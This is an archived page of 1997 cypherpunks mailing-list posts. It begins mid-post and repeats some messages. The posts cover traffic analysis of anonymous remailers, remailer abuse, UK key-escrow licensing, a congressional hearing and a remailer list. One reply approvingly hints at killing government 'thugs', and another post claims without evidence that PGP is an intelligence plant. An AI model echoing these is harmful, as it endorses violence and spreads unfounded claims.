affected by the person who always posts between 4 and 6 pm, who always posts via the same remailer and who always uses a 2 hour delay command in his posts. One needs to remember, as well, that with the capabilities of autobots and switching mechanisms, that to flood a system or systems at certain critical times is an insignificant obstacle to inputing a large quantity of _know_ data into the frame of analysis. > > Would anybody like to post some references? What > >is required to have a rock solid remailer network? > > > >Dr. Roberts > > Why not do the research into these references yourself and then post them? This is an asinine statement. If you are interested in furthering the interests of privacy through encryption and remailers, why don't you aide someone asking for pointers to better information? Is this list reserved for those who already know it all? Can you say "statist?" Sure, you can. > As for what it would take to make a rock solid remailer network, go back > and read some of the many hundreds of articles many of us have written on > this subject, read Chaum's original 1981 CACM short article, and carefully > study DC-Nets. If all information was in those articles, then I suspect that the remailers would already be "rock solid." Rather than living in the past, as if all possibilities had already been discussed and decided, it might better serve some list members to take their hard-earned knowledge and apply it to today's situation, with new technologies, methodologies, routings, etc. Not only have these things changed, but the types and number of people who use them have also changed, thus changing the scope of possible approaches to traffic analysis. TruthMonger S a n d y ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

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Re: A cypherpunk push-poll ? (Was Re: Dorothy and the four Horseman)
by Bill Stewart 17 Dec '03

17 Dec '03

At 10:32 AM 3/23/97 -0500, Robert Hettinga wrote: >For instance, here's an example of a question that Dorothy and Winn >*should* have asked: > >"In your extensive use of the internet in your professional capacity as the >CIO of a Fortune 50 corporation, have you encountered the use of >cryptography in acts of genocide? > >Ecologic holocaust? > >Thermonuclear terrorism? > >The use of asteroid impact to destroy all life on earth as we know it?" Well, in my extensive use of computers back when I was a tool of the military-industrial complex, I did encounter the use of computer security techniques in planning for thermonuclear terrorism; it's difficult to find a better term for pointing tens of thousands of warheads at your enemies, while they have tens of thousands of them pointed at you, and both of you are plotting about what you think the other guys will do so you can do it to them first, or so you can do something else to them to block it. Ecological holocaust? Nuclear winter was disbelieved, though I did know a meteorologist whose doctoral thesis advisor was working on germ warfare dispersal modelling, and The Customer didn't think in terms of genocide, just "nuking them till they glow" and "making the rubble bounce" and "pre-emptive strikes". Me? I just kept the computers running while the physicists tried to model what this sort of behaviour would do to the Phone Company, and how to let the military get useful phone services pre-, trans-, and post-attack, though once in a while I'd help them with some data structures.. On the other hand, while we did have occasional lectures on astronomy from our Research folks, we were pretty well-behaved with asteroids. But today we know that Eurasia and Oceania have always been friends, and haven't figured out yet that Oceania and Eastasia have always been enemies, so the only nuclear terrorists we have to worry about are the ones who'll do sneaky things like hiding their bombs in bales of cocaine so nobody'll notice when they drive them across the border and up to the White House loading dock, and the Constitution explicitly doesn't say that it's illegal to wiretap foreigners, so we're pretty safe for now. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts(a)ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.)

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Re: "Dr. Roberts" and his advice to the list
by nobody＠huge.cajones.com 17 Dec '03

17 Dec '03

Timothy C. May wrote: > At 10:25 AM -0800 3/23/97, "Dr. Roberts" wrote: > >The remailer network itself may be treated as a black box. This means > >that if you suspect certain people are posting messages to a certain > >list you need only watch the timing of the suspect's posts to verify > >guesses. This makes an attack on the remailer network quite > >inexpensive because you need to monitor a relatively small number of > >people in your jurisdiction. > If a mix accumulates, say, 100 messages, and posts one of them to some > destination, no amount of "timing" analysis points to which of the 100 > incoming messages was the source...this is the essence of mixes/remailers. > (Modulo the usual assumptions about message size, encryption, etc.) I wouldn't be so certain about this. Consider the fact that the remailers can be initially studied through relatively _pure_ analysis, for starters. i.e. - a series of slow periods of remailer use where and entity can ensure that almost all of those 100 messages belong to them. Thus the remailer can be studied for non-random patterns that may be unknown even to the operator himself. Then consider the fact that many of the people using remailers have habits and patterns that can easily be studied and followed. i.e. - Time periods online, standard delay time used in posting commands, frequency and volume of their posts. You must also consider context and syntax analysis that point to the true author of anonymous posts, and the fact that, once known, their personal systems can be monitored to reveal the exact time and nature of their input into the remailers. Even knowledge of killfiles can eliminate some of the overhead for traffic analysis, eliminating some sources as being responsible for volume of anonymous email directed at certain subjects or authors. Many of the factors involved in traffic analysis can be obtained outside of the realm of actual input and output of the remailers themselves, thus narrowing the range of _unknown_ factors in that analysis. Certainly there has been much thought and consideration given to the remailer system, by people who allow for various methods of attack on and/or analysis of their system. However, the assumption of 100 _random_ messages can drop pretty fast when one takes into account the number of factors that may turn some of these messages into quantifiable and easily analyzed entities. Add to this the possibility of factors that are known to the attackers, but not to the defenders, and the margin of security drops even further. Care must be taken to realize that even if one is making efforts to conceal their email traffic, that the results of their efforts are also affected by the person who always posts between 4 and 6 pm, who always posts via the same remailer and who always uses a 2 hour delay command in his posts. One needs to remember, as well, that with the capabilities of autobots and switching mechanisms, that to flood a system or systems at certain critical times is an insignificant obstacle to inputing a large quantity of _know_ data into the frame of analysis. > > Would anybody like to post some references? What > >is required to have a rock solid remailer network? > > > >Dr. Roberts > > Why not do the research into these references yourself and then post them? This is an asinine statement. If you are interested in furthering the interests of privacy through encryption and remailers, why don't you aide someone asking for pointers to better information? Is this list reserved for those who already know it all? Can you say "statist?" Sure, you can. > As for what it would take to make a rock solid remailer network, go back > and read some of the many hundreds of articles many of us have written on > this subject, read Chaum's original 1981 CACM short article, and carefully > study DC-Nets. If all information was in those articles, then I suspect that the remailers would already be "rock solid." Rather than living in the past, as if all possibilities had already been discussed and decided, it might better serve some list members to take their hard-earned knowledge and apply it to today's situation, with new technologies, methodologies, routings, etc. Not only have these things changed, but the types and number of people who use them have also changed, thus changing the scope of possible approaches to traffic analysis. TruthMonger S a n d y ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

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Re: [PGP-USERS] *** THE HAYSTACK REMAILER IS GONE ***
by nobody＠huge.cajones.com 17 Dec '03

17 Dec '03

> >Subject: [PGP-USERS] *** THE HAYSTACK REMAILER IS GONE *** > >They are > >dropping like flies, unfortunately. > > use of the remailer to spam people who have > > already turned off access to their accounts from other sources, > > The final > > straw was the use of the remailer to send out several > > hundred "MAKE MONEY FAST"-style messages to a group of > > folks who then rebelled or retaliated to the remailer itself; Several months ago, someone (Toto, I believe) posted a thoughtful message suggesting that the burgeoning Internet would result in a huge influx of carpetbaggers of one sort or another, and that the established entities, such as lists and remailers, had best be making plans to deal with the changing frontier or suffer the consequences. Another person, whose name escapes me, as she rarely posts, replied that she thought the post would prove prophetic, much more so than people believed. I mention this mostly to point out that it has been only a short time since this prediction was made, and it is already coming to fruitation in more than a few areas. Survival is going to mean adjustment to the fast changing conditions of the growing Internet. Social and political issues are going to impact developments as much or more than technology, and any entity which cannot adapt in these areas will die off, like the dinosaurs. While I sympathize with the remailer operators for having to deal with spamming problems, spammers and assholes did not suddenly appear out of nowhere in the recent past. The quickening pace of changes in the future will no longer allow system operators and administrators to wait until problems become unmanageable before they make plans to deal with them. In addition to pure anonymous remailers, perhaps there is a need for variations, as well, which encompass varying forms of subscription or authentication. Perhaps limiting the number of posts from an address, raising that limit according to gained reputation capital. As far as anonymity being maintained, is it possible for the system files which log identity/address to be encrypted with a password that is not known to any human, but only to the system? i.e. - even with a court order, there is no way for the operator to provide the info. Lessening the legal hassles could spread the use of remailers, with many being resistant to abuse. Those to whom the anonymity is very important would not have any problem finding the remaining pure remailers. Most of the quick-buck crowd would probably not make the effort to find them, having assumed, from the spam resistant remailers, that they are not a valid option for them. If cypherpunks are serious about making remailers available to the public then we will need to make them both useable and functional for those who might be open to running them. This cannot be done by making them only useful for 'pure' use. If someone were to design a remailer that would only let whites use it, there would be a great hue and cry, but there would also be more remailers available, shortly thereafter. Then someone would design one that could only be used for minorities, etc. If you really want to spread the use of remailers, design them so that you can make a pile of money off of them, in a good way. Then get rich while you further their development and use. TruthMonger

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Re: [PGP-USERS] *** THE HAYSTACK REMAILER IS GONE ***
by lucifer＠dhp.com 17 Dec '03

17 Dec '03

> >Subject: [PGP-USERS] *** THE HAYSTACK REMAILER IS GONE *** > >They are > >dropping like flies, unfortunately. > > use of the remailer to spam people who have > > already turned off access to their accounts from other sources, > > The final > > straw was the use of the remailer to send out several > > hundred "MAKE MONEY FAST"-style messages to a group of > > folks who then rebelled or retaliated to the remailer itself; Several months ago, someone (Toto, I believe) posted a thoughtful message suggesting that the burgeoning Internet would result in a huge influx of carpetbaggers of one sort or another, and that the established entities, such as lists and remailers, had best be making plans to deal with the changing frontier or suffer the consequences. Another person, whose name escapes me, as she rarely posts, replied that she thought the post would prove prophetic, much more so than people believed. I mention this mostly to point out that it has been only a short time since this prediction was made, and it is already coming to fruitation in more than a few areas. Survival is going to mean adjustment to the fast changing conditions of the growing Internet. Social and political issues are going to impact developments as much or more than technology, and any entity which cannot adapt in these areas will die off, like the dinosaurs. While I sympathize with the remailer operators for having to deal with spamming problems, spammers and assholes did not suddenly appear out of nowhere in the recent past. The quickening pace of changes in the future will no longer allow system operators and administrators to wait until problems become unmanageable before they make plans to deal with them. In addition to pure anonymous remailers, perhaps there is a need for variations, as well, which encompass varying forms of subscription or authentication. Perhaps limiting the number of posts from an address, raising that limit according to gained reputation capital. As far as anonymity being maintained, is it possible for the system files which log identity/address to be encrypted with a password that is not known to any human, but only to the system? i.e. - even with a court order, there is no way for the operator to provide the info. Lessening the legal hassles could spread the use of remailers, with many being resistant to abuse. Those to whom the anonymity is very important would not have any problem finding the remaining pure remailers. Most of the quick-buck crowd would probably not make the effort to find them, having assumed, from the spam resistant remailers, that they are not a valid option for them. If cypherpunks are serious about making remailers available to the public then we will need to make them both useable and functional for those who might be open to running them. This cannot be done by making them only useful for 'pure' use. If someone were to design a remailer that would only let whites use it, there would be a great hue and cry, but there would also be more remailers available, shortly thereafter. Then someone would design one that could only be used for minorities, etc. If you really want to spread the use of remailers, design them so that you can make a pile of money off of them, in a good way. Then get rich while you further their development and use. TruthMonger

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WebWorld 10-11
by Bubba Rom Dos 17 Dec '03

17 Dec '03

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WebWorld 12-14
by Bubba Rom Dos 17 Dec '03

17 Dec '03

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PGP as disinformation
by nobody＠REPLAY.COM 17 Dec '03

17 Dec '03

Sergey Goldgaber wrote: >This is only a practical problem related to PGP's lack of popularity. >The proposed solution will work in the long run, assuming PGP achieves >great popularity. Thus, education of the public concerning PGP and remailers >will help make this solution more effective. > Has this list not considered the very real possibility that PGP is itself a rogue program released by the intelligence apparatus to detour we cyberpunks? As I have been arguing, the obvious is often false. While certain statists on this list are arguing in vain that I lack expertise in cryptographic matters, the truth is apposite this. Ask not for whom Bell toils, Dr. Roberts -- --

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Re: "why privacy" revisited
by Robert Hettinga 17 Dec '03

17 Dec '03

At 8:48 pm -0500 on 3/23/97, Peter D. Junger wrote: > On the other hand the strongest proponent of interning the Japanese > was the governor of California: Earl Warren. Thank you, Peter, for what I believe is the most singular example of the two sides of the statism coin I've ever seen. Seen with the traditional liberal/conservative political worldview, it makes no sense for the famous compassionate liberal judge Earl Warren, whose supreme court presided over the creation of the world's largest welfare state, to advocate what is on its face an extremely conservative act -- the internment of thousands of Japanese Americans in concentration camps -- in his earlier role as a state governor. Viewed from the statism/freedom standpoint, it is completely logical, that is, "We're your nation-state. We're stronger than you are, and we'll take what we damn well please from you, including your life, if necessary." In the case of the Japanese concentration camps, it was taking the personal freedom of Japanese Americans. In the case of the judicially activist Warren court's welfare state, it was the confiscation of assets from productive members of society in violation of the laws of economics, which in turn caused misery for the increasing dole-dependant millions. People who are now much less free than they ever were before the creation of the "Great Society". I *love* this list. Absolutely love it. Cheers, Bob Hettinga ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/

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Re: "why privacy" revisited
by jim bell 17 Dec '03

17 Dec '03

At 10:55 PM 3/23/97 -0500, Robert Hettinga wrote: >Seen with the traditional liberal/conservative political worldview, it >makes no sense for the famous compassionate liberal judge Earl Warren, >whose supreme court presided over the creation of the world's largest >welfare state, to advocate what is on its face an extremely conservative >act -- the internment of thousands of Japanese Americans in concentration >camps -- in his earlier role as a state governor. > >Viewed from the statism/freedom standpoint, it is completely logical, that >is, "We're your nation-state. We're stronger than you are, and we'll take >what we damn well please from you, including your life, if necessary." > >In the case of the Japanese concentration camps, it was taking the personal >freedom of Japanese Americans. In the case of the judicially activist >Warren court's welfare state, it was the confiscation of assets from >productive members of society in violation of the laws of economics, which >in turn caused misery for the increasing dole-dependant millions. People >who are now much less free than they ever were before the creation of the >"Great Society". Which is yet another of the many reasons I can espouse an "extreme" solution to the problem, but one that I can honestly claim to not consider "extreme" at all! The way I see it, the lives of these thugs are not sufficiently valuable to lose sleep over their loss, when to keep them around means the kinds of abuse society has suffered for many generations. Jim Bell jimbell(a)pacifier.com

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Re: "why privacy" revisited
by Toto 17 Dec '03

17 Dec '03

Robert Hettinga wrote: > At 8:48 pm -0500 on 3/23/97, Peter D. Junger wrote: > > On the other hand the strongest proponent of interning the Japanese > > was the governor of California: Earl Warren. > Thank you, Peter, for what I believe is the most singular example of the > two sides of the statism coin I've ever seen. > Seen with the traditional liberal/conservative political worldview, it > makes no sense for the famous compassionate liberal judge Earl Warren, > whose supreme court presided over the creation of the world's largest > welfare state, to advocate what is on its face an extremely conservative > act -- the internment of thousands of Japanese Americans in concentration > camps -- in his earlier role as a state governor. > Viewed from the statism/freedom standpoint, it is completely logical, that > is, "We're your nation-state. We're stronger than you are, and we'll take > what we damn well please from you, including your life, if necessary." > In the case of the Japanese concentration camps, it was taking the personal > freedom of Japanese Americans. In the case of the judicially activist > Warren court's welfare state, it was the confiscation of assets from > productive members of society in violation of the laws of economics, which > in turn caused misery for the increasing dole-dependant millions. People > who are now much less free than they ever were before the creation of the > "Great Society". Bob, It humbles me to realize that I had completely overlooked this example of the evil forces lurking in the background (and under the bed) being involved in the duplicity of even using the bleeding heart liberals to imprison and slowly bleed us of both our wealth and our freedom. If you wish to devote more of your time to exposing these types of dark undercurrents to those on the CypherPunks list, then Dale and I would be more than happy to run the eca$h lists for a while, to free up your time. (What are friends for, eh?) -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html

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I want to see your paper " A New Attack to RSA on Tamperproof Devices".
by Yu-Hyun Kim 17 Dec '03

17 Dec '03

Dear Sir, Would you send me the full paper "A New Attack to RSA on Tamperproof Devices"? Yu-Hyun Kim yhkim(a)dingo.etri.re.kr

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Re: UK to ban free use of crypto?
by Bill Stewart 17 Dec '03

17 Dec '03

The document is at http://dtiinfo1.dti.gov.uk/pubs/ At 08:01 AM 3/23/97 -0500, Peter D. Junger wrote: >After a very quick reading of this proposal I am convinced that all it >would do if implemented by legislation that follows its recommendations >would be to forbid those who are in the UK from using an unlicensed >key escrow services. > >It quite clearly does not intend to ban the use of cryptography or the >publication of cryptographic software. And Michael Froomkin offers similar sentiments. They're both lawyers, and I'm not (:-), so they're expected to do a better job of reading the legal parts of it. On the other hand, the DTI says: 57.The legislation will provide that bodies wishing to offer or provide encryption services to the public in the UK will be required to obtain a licence. The legislation will give the Secretary of State discretion to determine appropriate licence conditions. and it's got a really broad definition of "encryption services", including even things such as time-stamping. The big problem is that the document has a really warped view of the cryptographic and business services that a "Trusted Third Party" would provide, and some parts are expressed in quite broad language. For instance, it implies that the TTP is being trusted with private keys, otherwise there would be no way for it to recover anything. On the other hand, from their Q&A: Q: Will a TTP be able to access an encrypted message ? A: No. It is important to be clear that it is not envisaged that the encrypted communication would be routed via the TTP. Nor will the TTP encrypt the message, it will merely assist (depending on the service offered) in the very complex area of key management or Key Certification. If the TTP is not encrypting the data, they don't need the secret key or your private key. They DO need your public key, to sign it, so a second party can trust that a key they have is really yours. But you and the second party can use the signed keys to exchange a secret session key, or to sign documents, without the TTP's help.* So their primary description of what a TTP would do does not involve escrow. Keys are used for three things - communications, signatures, and storage. As discussed above, for communications, the TTP doesn't need your private key, and there's no business need for anyone to have the keys to decode a communication unless they already have the cyphertext. Business applications that do require a third party to have a copy of your _message_ can be met by sending them a copy of your message, encrypted with their key, and the document explicitly says it's not talking about them. Similarly, cell-phone companies are providing encryption and routing, so this document claims not to be about them, though it regulates them. The only third parties who need just the session key itself are eavesdroppers and forgers, who are Untrusted Third Parties. For signatures, there's also _never_ a need for the third party to have the private keys - the function you Trust the Third Party to do is to certify that the holder of the key either is who he claims to be or has the permissions he claims to have (e.g. to write purchase orders or sign contracts for Company X.) And the document even states that "There is, of course no intention for the Government to access private keys used for only integrity functions." The main time you want another party to have a copy of your keys is for stored data: to cover the "employee dies" case (the document explicitly permits companies to handle their own keys without regulation, so no TTP is needed here), and the "you die, and your family digicash is in your encrypted file system" case, for which you can give a copy of your key to your spouse or solicitor, or keep it on a floppy in your bank safe deposit box, all of which cases are presumably covered by current law in the UK just as they are in the US. SO - what _is_ all this malarkey about "legal access" and "key recovery" and "key escrow" systems? The document claims repeatedly that it's not purporting to regulate any of the conditions under which a Third Party would ever be Trusted with the keys you actually encrypted something with. There's a whole lot of material about restricting who can be in the business and offer these services, seemingly designed to either restrict the emergence of new services or to be later expanded to cover other parts of the encryption business, such as supplying encryption software. And it's very unclear about whether it covers the encryption services used in inter-corporate projects such as Mondex - as a stockholder and customer of some of those companies, this concerns me. In particular, the expansion appears to be targeted specifically at the UK end of the Stronghold Apache-SSL web server, Adam Back's RSA Munitions Shirts, the PGP and Crypto Software distribution site at Oxford, and Ross Anderson. [*There are non-public-key systems where the TTP handles the secret keys, but they're typically older or specialized military or banking systems, where the TTP isn't an independent party, and are generally superseded by public-key systems now that the technology is practical.] # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts(a)ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.)

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UK TTP regs
by Greg Broiles 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- Have spent some time reading over the paper re TTP/CA regulation in the UK. I don't think the paper is exactly a model of clarity, but my impression (from a few passes over it) is that it isn't intended to affect the distribution of software but is intended to affect people acting as CA's (including signing a friend's key) or as key escrow agents. But both this document and two of the three bills in the US Congress (Goodlatte and Leahy) look to me like "first shoes" which precede "the other shoe dropping", e.g., making use of a TTP/key escrow agent mandatory once there's a reasonable infrastructure in place. Regulating essentially informal and private transactions like key signing between associates strikes me as absurd - but not much more absurd than things done on this side of the Atlantic, of course. I do think there are interesting issues around certifying CA's and CA liability, but it seems like they can be addressed using existing legal theories/strategies - some mix of tort law and contract law should be sufficient. Criminalizing a PGP key-signing party is almost as stupid as threatening to criminalize PGP. My hunch is that legislatures in Europe as well as Congress are going to get around to trying that within a few years. All it's going to take is repeating the phrase "legitimate needs of law enforcement" and "a fair balance between law enforcement needs and industry needs" a few thousand more times and it'll all seem perfectly rational. Last week's hearing for the ProCODE bill totally ignored the right of individuals to be free from interception/eavesdropping, and seemed to focus on some sort of compromise between business (who's perceived as wanting to make money from exporting strong crypto, but the argument is structurally the same whether we're talking about export/import controls on wheat or cars or on crypto) and law enforcement (who's perceived as being, at worst, slightly overzealous in their pursuit of safety & tranquility for each and every American, perhaps to the detriment of business interests, apologies to those fine businesses & their investors, etc.) (* I missed the first 20 minutes or so, perhaps that's when this was discussed, but I'll bet not.) I don't think I heard the Fourth Amendment (or any similar concerns) mentioned even once, nor the consistent pattern (across tens of years, subject matter, internal jurisdictions, national boundaries, and ideology of the government in power) by which law enforcement grows contemptuous of the law itself and begins using its power to perpetuate itself and in various flavors of political or personal repression. I suppose it would have been impolite to mention the various Red Squads, the COINTELPRO operation against domestic dissident groups, harassment of antinuclear and anti-Contra activists, local police spying in Pittsburgh and Los Angeles and San Francisco (and surely many other places I haven't heard about, too), Ruby Ridge, Waco, Operation MOVE, and recent revelations that the FBI crime lab has been altering lab reports and offering perjured testimony against criminal defendants. Law enforcement abuses are not "aberrations" nor "unfortunate incidents" which could not be predicted nor are they unlikely to recur. The only real question is whether or not we want to give law enforcement tools which can only be misused in obvious ways (like guns, which make noise, or tanks or helicopters, which are easy to see/hear) or if we're going to give them tools (like secret wiretaps and access to crypto keys) which are very difficult to track or detect when used illegitimately. Between cops who fuck up for political reasons (see above) and spooks/cops who sell out just for money (Ames, Lonetree, and the rest of the sad parade I've already forgotten who've been willing to sell "top secret" material which they knew put their colleagues' lives in danger, as well as street-level corrupt cops who "look the other way", steal from suspects/defendants, "borrow" from evidence lockers, carry "throw-down" guns and the rest), it's hard to feel like this is an institution that deserves any real trust. It may be that society ends up with less net brutality and corruption if we let the SFPD or the LAPD or the FBI drive around with guns & radios than if we allowed the Mafia or the Crips or the Bloods to do that .. but it's really just "more brutality" or "less brutality". The lesser of two evils is still evil. Which is a lot of rant to say that I don't think the sky is falling in the UK just yet. -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBMzZU2f37pMWUJFlhAQEO2wf+Lmuc6t8m1pdvcFt3EKsG6UEKoSIV9SUn e8QYrj2FFkCYUMS4Oh/FZ8T+wtgLRZ/z1eZQs5KUU1GMpP58j1KLS6K859Y9rvQs kFZqVwXzoLrD06Dn7Vr9AOxcqx0VC/692jEBoMsuqCjfL9VGDjIPFJFbPN900QQn mbbU5eL5567YGnYYd2Xe25zPDS4UWUiF7HKxgZF+mt619wOBVMRf9h8A853iA9h5 as156RPh1t5R4NGKwfGb+b8S5vmB5+tbTkFNLcPv2gcTl4xUHMnUST0I5BG6ww9C aV1Ove4muVg/Dw/vhbWixjGKI312uWQ+4lcRSaUOJ9j6XsKGUzxFEw== =Gnfa -----END PGP SIGNATURE----- -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles(a)netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. |

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INFO: Pro-CODE hearing (photo, audio, & text) available online!
by Shabbir Safdar 17 Dec '03

17 Dec '03

========================================================================== _ _ __| | ___ _ __ ___ ___ ___ _ __ __ _ ___ _ _ _ __ ___| |_ / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __| | (_| | __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | | __/ |_ \__,_|\___|_| |_| |_|\___/ \___|_| \__,_|\___|\__, (_)_| |_|\___|\__| |___/ Enhancing Participation in the Democratic Process Through the Internet _________________________________________________________________________ Update No.2 http://democracy.net/ March 20, 1997 _________________________________________________________________________ Table of Contents - democracy.net Cybercast draws Thousands to Interactive Hearing - Upcoming Events - Volunteering for democracy.net - About democracy.net ___________________________________________________________________________ DEMOCRACY.NET CYBERCAST DRAWS THOUSANDS TO INTERACTIVE CONGRESSIONAL HEARING democracy.net, a project designed to explore ways of enhancing citizens participation in the democratic process via the Internet, held its first live, interactive cybercast of a Congressional hearing on Wednesday March 19th, 1997. Thousands of Internet users joined this historic event by listening to a live audio feed from the hearing (cybercast over the Internet via RealAudio), submitting questions and testimony for the hearing record, reading information about the hearing, and joining a simultaneous online discussion forum to discuss the hearing with Congressional staff and policy experts. The hearing was held by the Senate Commerce Committe to consider S. 377, the Promotion of Commerce online in the Digital Era (Pro-CODE) Act and this issue of US encryption policy -- a critical issue to the Internet user community. Some statistics from the event. * 6,019 individual Internet users visited the democracy.net web site containing information about the Hearing, links to both sides of the issue, and other relevant information in the 24 hours preceding the event. * 703 individuals listened to the hearing live online via Real Audio throughout the 3 hour event. The actual Senate hearing room (Russell 253) where the event took place only holds less than one hundred people when filled to capacity (as it was for this hearing). * Throughout the event, between 20 - 50 people joined the simultaneous live chat discussion where Commerce Committee staff and encryption policy experts fielded questions and discussed the hearing. The audience included individual Internet users, reporters, advocacy groups, and Congressional staff. * Twenty-three Internet users submitted formal comments for the hearing record via the democracy.net web page, including IETF chair Fred Baker. The democracy.net cybercast was promoted on the front page of Netscape's World Wide Web site (one of the most popular destinations on the entire Web) on March 18 - 19. The site is also featured at Progressive Networks WebActive Site of the Week for the week of March 17-21. Despite some technical bugs early on (par for the course for a cutting-edge Internet event such as this), the cybercast went even better than we anticipated. We are grateful to Brett Scott, Mike Rawson, Matt Raymond, Mike Inners, and Pia Pialorsi of the Senate Commerce Committee staff for their help and support of this effort. Archives of the hearing are posted http://democracy.net/events/03191997/ democracy.net is a new project of the Center for Democracy and Technology and the Voters Telecommunications Watch designed to explore ways of enhancing citizen particpation in the democratic process via the Internet. democracy.net is made possible through the generous support of Webactive Panix, Digex, and the Democracy Network. Visit http://democracy.net/about/ for more details. ______________________________________________________________________________ UPCOMING EVENTS * April 10, 8:30PM EST - Online town hall meeting with Rep. Rick White (R-WA), Co-Founder of the Congressional Internet Caucus * April 16, 8:30PM EST - Online town hall meeting with Rep. Anna Eshoo (D-CA), Key Representative from California's Silicon Valley and leader on Internet Policy issues. * Additional events are in the works -- please visit http://www.democracy.net for more details, and sign up for our event announcement mailing list. democracy.net town hall meetings will be moderated by Todd Lappin (Cyber Rights Editor for Wired Magazine). The town hall meetings are designed to bring interested members of the Internet community and key members of congress together to discuss current Internet policy issues. ____________________________________________________________________________ VOLUNTEERING FOR DEMOCRACY.NET A volunteer is needed to help index the RealAudio transcript of the hearing. If you would like to help, please do the following and mail the results to webmaster(a)democracy.net. To index the RealAudio transcript, please listen to the transcript and watch the time counter at the bottom right of the page. Please note the following beginning and ending times: -whenever a new witness begins their prepared testimony and, -whenever a question and answer section begins. Mail them to us at webmaster(a)democracy.net with the start and stop times of each section. Thanks! ____________________________________________________________________________ ABOUT DEMOCRACY.NET The democracy.net is a joint project of the Center for Democracy and Technology (CDT) and the Voters Telecommunications Watch (VTW) to explore ways of enhancing citizen participation in the democratic process via the Internet. To this end, democracy.net will host live, interactive cybercasts of Congressional Hearings and online town hall meetings with key policy makers. democracy.net is made possible through the generous support of WebActive, PANIX Internet, the Democracy Network, and DIGEX Internet. More information about the project can be found at http://democracy.net/about/ To receive democracy.net announcements automatically, please visit http://democracy.net/ _____________________________________________________________________________ end Update No.2 03.20.97 =============================================================================

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Re: BXA on Crypto Plans
by Peter Trei 17 Dec '03

17 Dec '03

> Date: Fri, 21 Mar 1997 08:42:22 -0500 > To: cypherpunks(a)toad.com > From: John Young <jya(a)pipeline.com> > Subject: BXA on Crypto Plans > Reply-to: John Young <jya(a)pipeline.com> > Excerpt of BXA head William Reinsch statement on Goodlatte's > SAFEncryption Bill HR 695 on March 20, 1997: > > [...] > To that end, > we will shortly submit legislation intended to do the following: > > Expressly confirm the freedom of domestic users to choose any > type or strength of encryption. > > Explicitly state that participation in the key management > infrastructure is voluntary. > I think we should ponder the validity of the underlying assumption here - that there will be *one* PKI system, and (speculating here) (i) the government sets what it's requirements are, and (ii) they will include compromising one's private keys. > > Offers, on a voluntary basis, firms that are in the business > of providing public cryptography keys the opportunity to > obtain government recognition, allowing them to market the > trustworthiness implied by government approval. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ This is a joke, right? Peter Trei trei(a)process.com Disclaimer: I do not represent my employer.

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List of reliable remailers
by Raph Levien 17 Dec '03

17 Dec '03

I operate a remailer pinging service which collects detailed information about remailer features and reliability. To use it, just finger remailer-list(a)kiwi.cs.berkeley.edu There is also a Web version of the same information, plus lots of interesting links to remailer-related resources, at: http://www.cs.berkeley.edu/~raph/remailer-list.html This information is used by premail, a remailer chaining and PGP encrypting client for outgoing mail. For more information, see: http://www.c2.org/~raph/premail.html For the PGP public keys of the remailers, finger pgpkeys(a)kiwi.cs.berkeley.edu This is the current info: REMAILER LIST This is an automatically generated listing of remailers. The first part of the listing shows the remailers along with configuration options and special features for each of the remailers. The second part shows the 12-day history, and average latency and uptime for each remailer. You can also get this list by fingering remailer-list(a)kiwi.cs.berkeley.edu. $remailer{"extropia"} = "<remail(a)miron.vip.best.com> cpunk pgp special"; $remailer{"mix"} = "<mixmaster(a)remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?"; $remailer{"replay"} = "<remailer(a)replay.com> cpunk mix pgp hash latent cut post ek"; $remailer{"exon"} = "<remailer(a)remailer.nl.com> cpunk pgp hash latent cut ek"; $remailer{"haystack"} = "<haystack(a)holy.cow.net> cpunk mix pgp hash latent cut ek"; $remailer{"lucifer"} = "<lucifer(a)dhp.com> cpunk mix pgp hash latent cut ek"; $remailer{"jam"} = "<remailer(a)cypherpunks.ca> cpunk mix pgp hash middle latent cut ek"; $remailer{"winsock"} = "<winsock(a)rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord"; $remailer{'nym'} = '<config(a)nym.alias.net> newnym pgp'; $remailer{"balls"} = "<remailer(a)huge.cajones.com> cpunk pgp hash latent cut ek"; $remailer{"squirrel"} = "<mix(a)squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek"; $remailer{"middle"} = "<middleman(a)jpunix.com> cpunk mix pgp hash latent cut ek reord"; $remailer{'cyber'} = '<alias(a)alias.cyberpass.net> alpha pgp'; $remailer{"dustbin"} = "<dustman(a)athensnet.com> cpunk pgp hash latent cut ek mix reord middle"; $remailer{'weasel'} = '<config(a)weasel.owl.de> newnym pgp'; $remailer{"reno"} = "<middleman(a)cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?"; $remailer{"wazoo"} = "<remailer(a)wazoo.com> cpunk mix pgp hash latent cut ek"; $remailer{"shaman"} = "<remailer(a)lycaeum.org> cpunk pgp hash latent cut ek"; $remailer{"hidden"} = "<remailer(a)hidden.net> cpunk pgp hash latent cut"; catalyst(a)netcom.com is _not_ a remailer. lmccarth(a)ducie.cs.umass.edu is _not_ a remailer. usura(a)replay.com is _not_ a remailer. remailer(a)crynwr.com is _not_ a remailer. There is no remailer at relay.com. Groups of remailers sharing a machine or operator: (cyber mix) (weasel squirrel) The alpha and nymrod nymservers are down due to abuse. 